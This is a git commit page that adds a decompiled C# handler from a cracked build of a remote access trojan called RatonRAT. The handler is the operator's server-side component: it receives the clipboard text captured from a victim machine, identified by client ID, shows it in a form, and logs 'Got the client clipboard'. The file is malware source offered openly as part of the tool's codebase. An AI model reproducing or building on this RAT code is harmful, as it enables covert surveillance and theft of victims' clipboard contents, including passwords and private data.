initial commit
This commit is contained in:
@@ -0,0 +1,34 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Handlers.HandleClipboard
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Forms.ClientForms.Misc;
|
||||
using Raton.Windows;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Server.Handlers;
|
||||
|
||||
internal class HandleClipboard
|
||||
{
|
||||
public HandleClipboard(SillyClient SillyClient, Unpack msgUnpack)
|
||||
{
|
||||
ratonClipboard clipboard = (ratonClipboard) Application.OpenForms["Clipboard | Client ID: " + msgUnpack.GetAsString("UID")];
|
||||
if (clipboard == null)
|
||||
return;
|
||||
if (clipboard.SillyClient == null)
|
||||
clipboard.SillyClient = SillyClient;
|
||||
clipboard.Invoke((Delegate) (() =>
|
||||
{
|
||||
clipboard.textBox1.Text = msgUnpack.GetAsString("Text");
|
||||
clipboard.textBox1.ForeColor = System.Drawing.Color.White;
|
||||
Program.form2.Dispatcher.Invoke((Action) (() => Program.form2.AddSuccessLog((object) "Got the client clipboard", (object) System.Drawing.Color.LightGreen)));
|
||||
}));
|
||||
Notification.Show($"RatonRAT • {msgUnpack.GetAsString("UID")}\nClipboard has been loaded", "\uE946", new System.Windows.Media.Color?(System.Windows.Media.Color.FromArgb(byte.MaxValue, byte.MaxValue, (byte) 237, (byte) 41)));
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user